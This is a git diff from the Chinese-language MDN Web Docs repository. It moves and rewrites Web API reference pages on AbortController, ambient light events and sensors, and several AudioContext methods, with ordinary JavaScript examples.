"files/zh-cn/web/api/streams_api/\346\246\202\345\277\265/index.html" delete mode 100644 files/zh-cn/web/api/textrange/text/index.html create mode 100644 files/zh-cn/web/api/uievent/view/index.html delete mode 100644 "files/zh-cn/web/api/uievent/\350\247\206\345\233\276/index.html" create mode 100644 files/zh-cn/web/api/url/password/index.html delete mode 100644 "files/zh-cn/web/api/url/\345\257\206\347\240\201/index.html" delete mode 100644 files/zh-cn/web/api/urlutils/hash/index.html delete mode 100644 files/zh-cn/web/api/urlutils/href/index.html delete mode 100644 files/zh-cn/web/api/urlutils/index.html delete mode 100644 files/zh-cn/web/api/urlutils/origin/index.html delete mode 100644 files/zh-cn/web/api/urlutils/password/index.html delete mode 100644 files/zh-cn/web/api/urlutils/pathname/index.html delete mode 100644 files/zh-cn/web/api/urlutils/search/index.html delete mode 100644 files/zh-cn/web/api/urlutils/tostring/index.html delete mode 100644 files/zh-cn/web/api/urlutils/username/index.html create mode 100644 files/zh-cn/web/api/web_audio_api/best_practices/index.html delete mode 100644 "files/zh-cn/web/api/web_audio_api/\346\234\200\344\275\263\345\256\236\350\267\265/index.html" create mode 100644 files/zh-cn/web/api/web_workers_api/structured_clone_algorithm/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/polygonoffset/index.html delete mode 100644 "files/zh-cn/web/api/webglrenderingcontext/\345\244\232\350\276\271\345\275\242\345\201\217\347\247\273(polygonoffset)/index.html" delete mode 100644 files/zh-cn/web/api/webrtc_api/architecture/index.html delete mode 100644 files/zh-cn/web/api/webrtc_api/overview/index.html create mode 100644 files/zh-cn/web/api/webrtc_api/session_lifetime/index.html delete mode 100644 files/zh-cn/web/api/webrtc_api/webrtc_basics/index.html create mode 100644 files/zh-cn/web/api/websocket/binarytype/index.html delete mode 100644 "files/zh-cn/web/api/websocket/\344\272\214\350\277\233\345\210\266\347\261\273\345\236\213/index.html" delete mode 100644 files/zh-cn/web/api/websockets_api/websocket_server_vb.net/index.html create mode 100644 files/zh-cn/web/api/window/afterprint_event/index.html create mode 100644 files/zh-cn/web/api/window/beforeprint_event/index.html create mode 100644 files/zh-cn/web/api/window/beforeunload_event/index.html create mode 100644 files/zh-cn/web/api/window/blur/index.html delete mode 100644 files/zh-cn/web/api/window/clearinterval/index.html create mode 100644 files/zh-cn/web/api/window/domcontentloaded_event/index.html delete mode 100644 files/zh-cn/web/api/window/getattention/index.html create mode 100644 files/zh-cn/web/api/window/load_event/index.html delete mode 100644 files/zh-cn/web/api/window/onbeforeunload/index.html delete mode 100644 files/zh-cn/web/api/window/onhashchange/index.html delete mode 100644 files/zh-cn/web/api/window/onmouseup/index.html delete mode 100644 files/zh-cn/web/api/window/onpopstate/index.html delete mode 100644 files/zh-cn/web/api/window/onscroll/index.html delete mode 100644 files/zh-cn/web/api/window/onunload/index.html create mode 100644 files/zh-cn/web/api/window/pageshow_event/index.html delete mode 100644 files/zh-cn/web/api/window/restore/index.html delete mode 100644 files/zh-cn/web/api/window/setinterval/index.html delete mode 100644 files/zh-cn/web/api/window/settimeout/index.html create mode 100644 files/zh-cn/web/api/window/unhandledrejection_event/index.html create mode 100644 files/zh-cn/web/api/window/unload_event/index.html delete mode 100644 files/zh-cn/web/api/window/url/index.html delete mode 100644 files/zh-cn/web/api/window/window.blur()/index.html delete mode 100644 files/zh-cn/web/api/windowbase64/atob/index.html delete mode 100644 files/zh-cn/web/api/windowbase64/base64_encoding_and_decoding/index.html delete mode 100644 files/zh-cn/web/api/windowbase64/btoa/index.html create mode 100644 files/zh-cn/web/api/windoweventhandlers/onbeforeunload/index.html create mode 100644 files/zh-cn/web/api/windoweventhandlers/onhashchange/index.html create mode 100644 files/zh-cn/web/api/windoweventhandlers/onpopstate/index.html create mode 100644 files/zh-cn/web/api/windoweventhandlers/onunload/index.html create mode 100644 files/zh-cn/web/api/windoworworkerglobalscope/atob/index.html create mode 100644 files/zh-cn/web/api/windoworworkerglobalscope/btoa/index.html create mode 100644 files/zh-cn/web/api/windoworworkerglobalscope/clearinterval/index.html create mode 100644 files/zh-cn/web/api/windoworworkerglobalscope/cleartimeout/index.html create mode 100644 files/zh-cn/web/api/windoworworkerglobalscope/setinterval/index.html create mode 100644 files/zh-cn/web/api/windoworworkerglobalscope/settimeout/index.html delete mode 100644 files/zh-cn/web/api/windowtimers/cleartimeout/index.html create mode 100644 files/zh-cn/web/api/xmlhttprequest/loadend_event/index.html create mode 100644 files/zh-cn/web/api/xmlhttprequest/loadstart_event/index.html create mode 100644 files/zh-cn/web/api/xmlhttprequest/progress_event/index.html create mode 100644 files/zh-cn/web/api/xmlserializer/index.html delete mode 100644 "files/zh-cn/web/api/\346\214\207\346\225\260/index.html" delete mode 100644 "files/zh-cn/web/api/\346\224\257\344\273\230_\350\257\267\346\261\202_\346\216\245\345\217\243/concepts/index.html" delete mode 100644 "files/zh-cn/web/api/\346\224\257\344\273\230_\350\257\267\346\261\202_\346\216\245\345\217\243/index.html" delete mode 100644 "files/zh-cn/web/api/\350\257\255\351\237\263\350\257\206\345\210\253/index.html" delete mode 100644 "files/zh-cn/web/api/\350\257\255\351\237\263\350\257\206\345\210\253/result_event/index.html" (limited to 'files/zh-cn/web/api') diff --git a/files/zh-cn/web/api/abortcontroller/abort/index.html b/files/zh-cn/web/api/abortcontroller/abort/index.html new file mode 100644 index 0000000000..d661e73d2b --- /dev/null +++ b/files/zh-cn/web/api/abortcontroller/abort/index.html @@ -0,0 +1,85 @@ +--- +title: AbortController.abort() +slug: Web/API/FetchController/abort +translation_of: Web/API/AbortController/abort +--- +
{{APIRef("DOM")}}{{SeeCompatTable}}
+ +

The abort() method of the {{domxref("AbortController")}} interface aborts a DOM request (e.g. a Fetch request) before it has completed. This is able to abort fetch requests, consumption of any response {{domxref("Body")}}, and streams.

+ +

Syntax

+ +
controller.abort();
+ +

Parameters

+ +

None.

+ +

Return value

+ +

Void.

+ +

Examples

+ +

In the following snippet, we aim to download a video using the Fetch API.

+ +

We first create a controller using the {{domxref("AbortController.AbortController","AbortController()")}} constructor, then grab a reference to its associated {{domxref("AbortSignal")}} object using the {{domxref("AbortController.signal")}} property.

+ +

When the fetch request is initiated, we pass in the AbortSignal as an option inside the request's options object (see {signal}, below). This associates the signal and controller with the fetch request and allows us to abort it by calling {{domxref("AbortController.abort()")}}, as seen below in the second event listener.

+ +
var controller = new AbortController();
+var signal = controller.signal;
+
+var downloadBtn = document.querySelector('.download');
+var abortBtn = document.querySelector('.abort');
+
+downloadBtn.addEventListener('click', fetchVideo);
+
+abortBtn.addEventListener('click', function() {
+  controller.abort();
+  console.log('Download aborted');
+});
+
+function fetchVideo() {
+  ...
+  fetch(url, {signal}).then(function(response) {
+    ...
+  }).catch(function(e) {
+    reports.textContent = 'Download error: ' + e.message;
+  })
+}
+ +
+

Note: When abort() is called, the fetch() promise rejects with an AbortError.

+
+ +

You can find a full working example on GitHub — see abort-api (see it running live also).

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-abortcontroller-abort', 'abort()')}}{{Spec2('DOM WHATWG')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.AbortController.abort")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/abortcontroller/abortcontroller/index.html b/files/zh-cn/web/api/abortcontroller/abortcontroller/index.html new file mode 100644 index 0000000000..35fe67d1ae --- /dev/null +++ b/files/zh-cn/web/api/abortcontroller/abortcontroller/index.html @@ -0,0 +1,85 @@ +--- +title: AbortController.AbortController() +slug: Web/API/FetchController/AbortController +tags: + - AbortController + - Constructor + - Fetch +translation_of: Web/API/AbortController/AbortController +--- +
{{APIRef("DOM")}}{{SeeCompatTable}}
+ +

AbortController() 构造函数创建了一个新的AbortController实例

+ +

Syntax

+ +
var controller = new AbortController();
+ +

Parameters

+ +

无.

+ +

Examples

+ +

在下面的这段代码中, 我们将通过Fetch API来下载一段视频.

+ +

首先通过{{domxref("AbortController.AbortController","AbortController()")}} 构造函数来创建一个controller实例, 然后通过{{domxref("AbortController.signal")}} 属性获取到它的关联对象{{domxref("AbortSignal")}} 的引用.

+ +

当 fetch request 初始化后, 将 AbortSignal 作为一个选项传入请求的选项参数中 (如下 {signal}). 这将signal,controller与fetch请求关联起来, 允许我们通过调用{{domxref("AbortController.abort()")}}来取消fetch请求, 正如下第二个事件监听器所示.

+ +
var controller = new AbortController();
+var signal = controller.signal;
+
+var downloadBtn = document.querySelector('.download');
+var abortBtn = document.querySelector('.abort');
+
+downloadBtn.addEventListener('click', fetchVideo);
+
+abortBtn.addEventListener('click', function() {
+  controller.abort();
+  console.log('Download aborted');
+});
+
+function fetchVideo() {
+  ...
+  fetch(url, {signal}).then(function(response) {
+    ...
+  }).catch(function(e) {
+    reports.textContent = 'Download error: ' + e.message;
+  })
+}
+ +
+

提示: 当abort() 被调用,  fetch() promise 将会抛出一个AbortError对象.

+
+ +

你可以在GitHub上找到一个完整的使用示例 — see abort-api (see it running live also).

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-abortcontroller-abortcontroller', 'AbortController()')}}{{Spec2('DOM WHATWG')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.AbortController.AbortController")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/abortcontroller/index.html b/files/zh-cn/web/api/abortcontroller/index.html new file mode 100644 index 0000000000..4211eb8211 --- /dev/null +++ b/files/zh-cn/web/api/abortcontroller/index.html @@ -0,0 +1,106 @@ +--- +title: AbortController +slug: Web/API/FetchController +tags: + - API + - AbortController + - Fetch + - how to cancel a fetch request +translation_of: Web/API/AbortController +--- +
{{APIRef("DOM")}}{{SeeCompatTable}}
+ +

AbortController接口表示一个控制器对象,允许你根据需要中止一个或多个 Web请求。

+ +

你可以使用 {{domxref("AbortController.AbortController()")}} 构造函数创建一个新的 AbortController 。使用{{domxref("AbortSignal")}} 对象可以完成与与DOM请求的通信。

+ +

构造函数

+ +
+
{{domxref("AbortController.AbortController()")}}
+
创建一个新的AbortController 对象实例。
+
+ +

属性

+ +
+
{{domxref("AbortController.signal")}} {{readonlyInline}}
+
返回一个{{domxref("AbortSignal")}}对象实例,它可以用来 with/abort 一个Web(网络)请求。
+
+ +

方法

+ +
+
{{domxref("AbortController.abort()")}}
+
中止一个尚未完成的Web(网络)请求。这能够中止fetch 请求,任何响应{{domxref("Body")}}的消费者和流。
+
+ +

示例

+ +

在下面的代码片段中,我们想通过 Fetch API 下载一段视频。

+ +

我们先使用{{domxref("AbortController.AbortController","AbortController()")}}构造函数创建一个控制器,然后使用{{domxref("AbortController.signal")}}属性获取其关联 {{domxref("AbortSignal")}}对象的引用。

+ +

当一个 fetch request 初始化,我们把 AbortSignal 作为一个选项传递到到请求对象(如下 {signal})。这将信号和控制器与获取请求相关联然后允许我们通过调用{{domxref("AbortController.abort()")}}中止请求,如下第二个事件监听函数。

+ +
const controller = new AbortController();
+let signal = controller.signal;
+
+const downloadBtn = document.querySelector('.download');
+const abortBtn = document.querySelector('.abort');
+
+downloadBtn.addEventListener('click', fetchVideo);
+
+abortBtn.addEventListener('click', function() {
+  controller.abort();
+  console.log('Download aborted');
+});
+
+function fetchVideo() {
+  //...
+  fetch(url, {signal}).then(function(response) {
+    //...
+  }).catch(function(e) {
+    reports.textContent = 'Download error: ' + e.message;
+  })
+}
+ +
+

注意:abort() 被调用时,fetch() promise 拒绝一个名为 AbortError 的DOMException

+
+ +

可以在GitHub上找到完整的工作示例 — 请参见 abort-api另请参见实时运行)。

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#interface-abortcontroller', 'AbortController')}}{{Spec2('DOM WHATWG')}}Initial definition
+ +

浏览器兼容

+ + + +

{{Compat("api.AbortController")}}

+ +

参见

+ + + +
+
+
diff --git a/files/zh-cn/web/api/ambient_light_events/index.html b/files/zh-cn/web/api/ambient_light_events/index.html new file mode 100644 index 0000000000..f90edf8ca2 --- /dev/null +++ b/files/zh-cn/web/api/ambient_light_events/index.html @@ -0,0 +1,74 @@ +--- +title: Using Light Events +slug: Web/API/DeviceLightEvent/Using_light_events +tags: + - WebAPI + - 事件 + - 环境光 +translation_of: Web/API/Ambient_Light_Events +--- +
{{DefaultAPISidebar("Ambient Light Events")}}{{SeeCompatTable}}
+ +

环境光线事件是一个易用的让网页或应用感知光强变化的方法。它使网页或应用能对光强变化做出反应,例如改变用户界面的颜色对比度,或为拍照而改变曝光度。

+ +

光线事件

+ +

当设备的光线传感器检测到光强等级的变化时,它会向浏览器通知这个变化。当浏览器得到这个通知后,会发送(fire)一个提供光强信息的 {{domxref("DeviceLightEvent")}} 事件。

+ +

想要捕获这个事件,可用 {{domxref("EventTarget.addEventListener","addEventListener")}} 方法把事件处理器绑定到 window 上(使用 {{event("devicelight")}} 事件名),或者直接把事件处理器赋值给 {{domxref("window.ondevicelight")}} 属性。

+ +

该事件被捕捉后,可以从传入的事件对象上的 {{domxref("DeviceLightEvent.value")}} 属性获取光强(单位为 {{interwiki("wikipedia", "lux")}})。

+ +

示例

+ +
if ('ondevicelight' in window) {
+  window.addEventListener('devicelight', function(event) {
+    var body = document.querySelector('body');
+    if (event.value < 50) {
+      body.classList.add('darklight');
+      body.classList.remove('brightlight');
+    } else {
+      body.classList.add('brightlight');
+      body.classList.remove('darklight');
+    }
+  });
+} else {
+  console.log('不支持 devicelight 事件');
+}
+
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
{{ SpecName('AmbientLight', '', 'Ambient Light Events') }}{{ Spec2('AmbientLight') }}首次定义
+ +

浏览器兼容性

+ + + +

{{Compat("api.DeviceLightEvent")}}

+ +

Gecko 备注

+ +

{{event("devicelight")}} 事件在 Firefox Mobile for Android (15.0) 和 Firefox OS (B2G) 上实现并默认可用。从Gecko 22.0 {{geckoRelease("22.0")}} 开始,Mac OS X桌面版也可使用该事件。

+ +

参见

+ + diff --git a/files/zh-cn/web/api/ambientlightsensor/illuminance/index.html b/files/zh-cn/web/api/ambientlightsensor/illuminance/index.html new file mode 100644 index 0000000000..b2b592a422 --- /dev/null +++ b/files/zh-cn/web/api/ambientlightsensor/illuminance/index.html @@ -0,0 +1,94 @@ +--- +title: reading +slug: Web/API/AmbientLightSensor/reading +translation_of: Web/API/AmbientLightSensor/illuminance +translation_of_original: Web/API/AmbientLightSensor/reading +--- +

{{SeeCompatTable}}{{APIRef("Ambient Light Sensor API")}}

+ +

{{domxref("AmbientLightSensor")}} 接口的 read-only 属性 reading 返回一个访问 {{domxref('AmbientLightSensorReading')}} 的接口, 包含当前的光亮级别。

+ +

语法

+ +
var sensorReading = AmbientLightLevel.reading
+ +

返回值

+ +

{{domxref('AmbientLightSensorReading')}} 接口.

+ +

用例

+ +
// TBD
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('AmbientLight')}}{{Spec2('AmbientLight')}}Initial definition.
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(54.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(54.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(54.0)}}
+
diff --git a/files/zh-cn/web/api/ambientlightsensor/reading/index.html b/files/zh-cn/web/api/ambientlightsensor/reading/index.html deleted file mode 100644 index b2b592a422..0000000000 --- a/files/zh-cn/web/api/ambientlightsensor/reading/index.html +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: reading -slug: Web/API/AmbientLightSensor/reading -translation_of: Web/API/AmbientLightSensor/illuminance -translation_of_original: Web/API/AmbientLightSensor/reading ---- -

{{SeeCompatTable}}{{APIRef("Ambient Light Sensor API")}}

- -

{{domxref("AmbientLightSensor")}} 接口的 read-only 属性 reading 返回一个访问 {{domxref('AmbientLightSensorReading')}} 的接口, 包含当前的光亮级别。

- -

语法

- -
var sensorReading = AmbientLightLevel.reading
- -

返回值

- -

{{domxref('AmbientLightSensorReading')}} 接口.

- -

用例

- -
// TBD
- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('AmbientLight')}}{{Spec2('AmbientLight')}}Initial definition.
- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(54.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(54.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(54.0)}}
-
diff --git a/files/zh-cn/web/api/analysernode/fft/index.html b/files/zh-cn/web/api/analysernode/fft/index.html deleted file mode 100644 index f553738351..0000000000 --- a/files/zh-cn/web/api/analysernode/fft/index.html +++ /dev/null @@ -1,7 +0,0 @@ ---- -title: Directory failure 目录失效 -slug: Web/API/AnalyserNode/fft ---- -

目录失效

- -

Directory failure

diff --git a/files/zh-cn/web/api/audiocontext/createanalyser/index.html b/files/zh-cn/web/api/audiocontext/createanalyser/index.html deleted file mode 100644 index 2d00a8a100..0000000000 --- a/files/zh-cn/web/api/audiocontext/createanalyser/index.html +++ /dev/null @@ -1,154 +0,0 @@ ---- -title: AudioContext.createAnalyser() -slug: Web/API/AudioContext/createAnalyser -translation_of: Web/API/BaseAudioContext/createAnalyser ---- -

{{ APIRef("Web Audio API") }}

- -
-

{{ domxref("AudioContext") }}的createAnalyser()方法能创建一个{{ domxref("AnalyserNode") }},可以用来获取音频时间和频率数据,以及实现数据可视化。

-
- -
-

注意:关于该节点的更多信息,请查看{{domxref("AnalyserNode")}}

-
- -

语法

- -
var audioCtx = new AudioContext();
-var analyser = audioCtx.createAnalyser();
- -

返回值

- -

{{domxref("AnalyserNode")}}对象

- -

例子

- -

下面的例子展示了AudioContext创建分析器节点的基本用法,然后用requestAnimationFrame()来反复获取时域数据,并绘制出当前音频输入的“示波器风格”输出。更多完整例子请查看Voice-change-O-matic demo (中app.js的128–205行代码)

- -
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
-var analyser = audioCtx.createAnalyser();
-
-  ...
-
-analyser.fftSize = 2048;
-var bufferLength = analyser.fftSize;
-var dataArray = new Uint8Array(bufferLength);
-analyser.getByteTimeDomainData(dataArray);
-
-// draw an oscilloscope of the current audio source
-
-function draw() {
-
-      drawVisual = requestAnimationFrame(draw);
-
-      analyser.getByteTimeDomainData(dataArray);
-
-      canvasCtx.fillStyle = 'rgb(200, 200, 200)';
-      canvasCtx.fillRect(0, 0, WIDTH, HEIGHT);
-
-      canvasCtx.lineWidth = 2;
-      canvasCtx.strokeStyle = 'rgb(0, 0, 0)';
-
-      canvasCtx.beginPath();
-
-      var sliceWidth = WIDTH * 1.0 / bufferLength;
-      var x = 0;
-
-      for(var i = 0; i < bufferLength; i++) {
-
-        var v = dataArray[i] / 128.0;
-        var y = v * HEIGHT/2;
-
-        if(i === 0) {
-          canvasCtx.moveTo(x, y);
-        } else {
-          canvasCtx.lineTo(x, y);
-        }
-
-        x += sliceWidth;
-      }
-
-      canvasCtx.lineTo(canvas.width, canvas.height/2);
-      canvasCtx.stroke();
-    };
-
-    draw();
- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-createAnalyser-AnalyserNode', 'createAnalyser()')}}{{Spec2('Web Audio API')}} 
- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
- 22
6.0{{property_prefix("webkit")}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
-
- -

另见

- - diff --git a/files/zh-cn/web/api/audiocontext/createbiquadfilter/index.html b/files/zh-cn/web/api/audiocontext/createbiquadfilter/index.html deleted file mode 100644 index fa5884ad71..0000000000 --- a/files/zh-cn/web/api/audiocontext/createbiquadfilter/index.html +++ /dev/null @@ -1,139 +0,0 @@ ---- -title: AudioContext.createBiquadFilter() -slug: Web/API/AudioContext/createBiquadFilter -tags: - - API - - EQ - - Web Audio API - - 参考 - - 方法 - - 滤波器 -translation_of: Web/API/BaseAudioContext/createBiquadFilter ---- -

{{ APIRef("Web Audio API") }}

- -
-

{{ domxref("AudioContext") }} 的createBiquadFilter() 方法创建了一个  {{ domxref("BiquadFilterNode") }}, 它提供了一个可以指定多个不同的一般滤波器类型的双二阶滤波器。

-
- -

语法

- -
var audioCtx = new AudioContext();
-var biquadFilter = audioCtx.createBiquadFilter();
- -

返回

- -

一个 {{domxref("BiquadFilterNode")}}.

- -

示例

- -

这个例子展示了一个利用AudioContext 创建四项滤波器节点( Biquad filter node)的例子。想要查看完整工作的示例,请查看我们的For voice-change-o-matic 样例 (也可以查看  源码 ).

- -
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
-
-//set up the different audio nodes we will use for the app
-var analyser = audioCtx.createAnalyser();
-var distortion = audioCtx.createWaveShaper();
-var gainNode = audioCtx.createGain();
-var biquadFilter = audioCtx.createBiquadFilter();
-var convolver = audioCtx.createConvolver();
-
-// connect the nodes together
-
-source = audioCtx.createMediaStreamSource(stream);
-source.connect(analyser);
-analyser.connect(distortion);
-distortion.connect(biquadFilter);
-biquadFilter.connect(convolver);
-convolver.connect(gainNode);
-gainNode.connect(audioCtx.destination);
-
-// Manipulate the Biquad filter
-
-biquadFilter.type = "lowshelf";
-biquadFilter.frequency.value = 1000;
-biquadFilter.gain.value = 25;
- -

规格

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-createBiquadFilter-BiquadFilterNode', 'createBiquadFilter()')}}{{Spec2('Web Audio API')}} 
- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0 {{property_prefix("webkit")}}
- 22
6.0{{property_prefix("webkit")}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
-
- -

 

- -

相关

- - diff --git a/files/zh-cn/web/api/audiocontext/createbuffer/index.html b/files/zh-cn/web/api/audiocontext/createbuffer/index.html deleted file mode 100644 index 2d29213737..0000000000 --- a/files/zh-cn/web/api/audiocontext/createbuffer/index.html +++ /dev/null @@ -1,181 +0,0 @@ ---- -title: AudioContext.createBuffer() -slug: Web/API/AudioContext/createBuffer -tags: - - 创建音频片段 - - 接口 - - 方法 - - 音频环境 -translation_of: Web/API/BaseAudioContext/createBuffer ---- -

音频环境{{ domxref("AudioContext") }} 接口的 createBuffer() 方法用于新建一个空白的 {{ domxref("AudioBuffer") }} 对象,以便用于填充数据,通过 {{ domxref("AudioBufferSourceNode") }} 播放。

- -

更多关于音频片段(Audio Buffer)的细节,请参考{{ domxref("AudioBuffer") }}页面。

- -
-

注意: createBuffer() 曾被用于接收压缩后的音频数据,并返回被解码的音频,但是这项功能现在已经被移除,因为所有的解码工作应当在主线程中被完成,createBuffer() 阻塞了其他代码的执行。异步方法 decodeAudioData() 能够完成相同的工作 —— 传入一个压缩过的音频(如MP3格式的文件),并直接返回一个可以通过 {{ domxref("AudioBufferSourceNode") }} 播放的 {{ domxref("AudioBuffer") }} 。因此播放诸如MP3等格式的压缩音频时,你应当使用 decodeAudioData() 方法。

-
- -

语法

- -
AudioContext.createBuffer(Number numOfChannels, Number length, Number sampleRate);
- -

参数

- -
-

注意:如果想深入了解 audio buffers 是如何工作的、这些参数的具体含义,请阅读这篇简短的指南: Audio buffers: frames, samples and channels(英)。

-
- -
-
numOfChannels
-
一个定义了 buffer 中包含的声频通道数量的整数。
- 一个标准的实现必须包含至少32个声频通道。
-
 
-
length
-
一个代表 buffer 中的样本帧数的整数。
-
sampleRate
-
线性音频样本的采样率,即每一秒包含的关键帧的个数。实现过程中必须支持 22050~96000的采样率。
-
- -

 

- -

返回值

- -

一个 {{domxref("AudioBuffer")}}。

- -

示例

- -

首先,我们将从几个浅显易懂的示例入手,来解释如何使用这些参数:

- -
var audioCtx = new AudioContext();
-var buffer = audioCtx.createBuffer(2, 22050, 44100);
- -

如果你这样调用,你将会得到一个立体声(两个声道)的音频片段(Buffer),当它在一个频率为44100赫兹(这是目前大部分声卡处理声音的频率)的音频环境({{ domxref("AudioContext") }})中播放的时候,会持续0.5秒:22050帧 / 44100赫兹 = 0.5 秒。

- -
var audioCtx = new AudioContext();
-var buffer = audioCtx.createBuffer(1, 22050, 22050);
- -

如果你这样调用,你将会得到一个单声道的音频片段(Buffer),当它在一个频率为44100赫兹的音频环境({{ domxref("AudioContext") }})中播放的时候,将会被自动按照44100赫兹*重采样*(因此也会转化为44100赫兹的片段),并持续1秒:44100帧 / 44100赫兹 = 1秒。

- -
-

注意: 音频重采样与图片的缩放非常类似:比如你有一个16 x 16的图像,但是你想把它填充到一个32 x 32大小的区域,你就要对它进行缩放(重采样)。得到的结果会是一个叫低品质的(图像会模糊或者有锯齿形的边缘,这取决于缩放采用的算法),但它却是能将原图形缩放,并且缩放后的图像占用空间比相同大小的普通图像要小。重新采样的音频道理相同——你会介于一些空间,但事实上你无法产出高频率的声音(高音区)。

-
- -

现在让我们来看一个更加复杂的示例,我们将创建一个时长2秒的音频片段,并用白噪声填充它,之后通过一个 音频片段源节点({{ domxref("AudioBufferSourceNode") }}) 播放。代码中的注释应该能充分解释发生了什么。你可以 在线演示 ,或者 查看源代码

- -
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
-var button = document.querySelector('button');
-var pre = document.querySelector('pre');
-var myScript = document.querySelector('script');
-
-pre.innerHTML = myScript.innerHTML;
-
-// 立体声
-var channels = 2;
-// 创建一个 采样率与音频环境(AudioContext)相同的 时长2秒的 音频片段。
-var frameCount = audioCtx.sampleRate * 2.0;
-
-var myArrayBuffer = audioCtx.createBuffer(channels, frameCount, audioCtx.sampleRate);
-
-button.onclick = function() {
-  // 使用白噪声填充;
-  // 就是 -1.0 到 1.0 之间的随机数
-  for (var channel = 0; channel < channels; channel++) {
-   // 这允许我们读取实际音频片段(AudioBuffer)中包含的数据
-   var nowBuffering = myArrayBuffer.getChannelData(channel);
-   for (var i = 0; i < frameCount; i++) {
-     // Math.random() is in [0; 1.0]
-     // audio needs to be in [-1.0; 1.0]
-     nowBuffering[i] = Math.random() * 2 - 1;
-   }
-  }
-
-  // 获取一个 音频片段源节点(AudioBufferSourceNode)。
-  // 当我们想播放音频片段时,我们会用到这个源节点。
-  var source = audioCtx.createBufferSource();
-  // 把刚才生成的片段加入到 音频片段源节点(AudioBufferSourceNode)。
-  source.buffer = myArrayBuffer;
-  // 把 音频片段源节点(AudioBufferSourceNode) 连接到
-  // 音频环境(AudioContext) 的终节点,这样我们就能听到声音了。
-  source.connect(audioCtx.destination);
-  // 开始播放声源
-  source.start();
-}
- -

规范

- - - - - - - - - - - - - - -
规范现状备注
{{SpecName('Web Audio API', '#widl-AudioContext-createBuffer-AudioBuffer-unsigned-long-numberOfChannels-unsigned-long-length-float-sampleRate', 'createBuffer()')}}{{Spec2('Web Audio API')}} 
- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0 {{property_prefix("webkit")}}
- 22
6.0{{property_prefix("webkit")}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
-
- -

相关链接

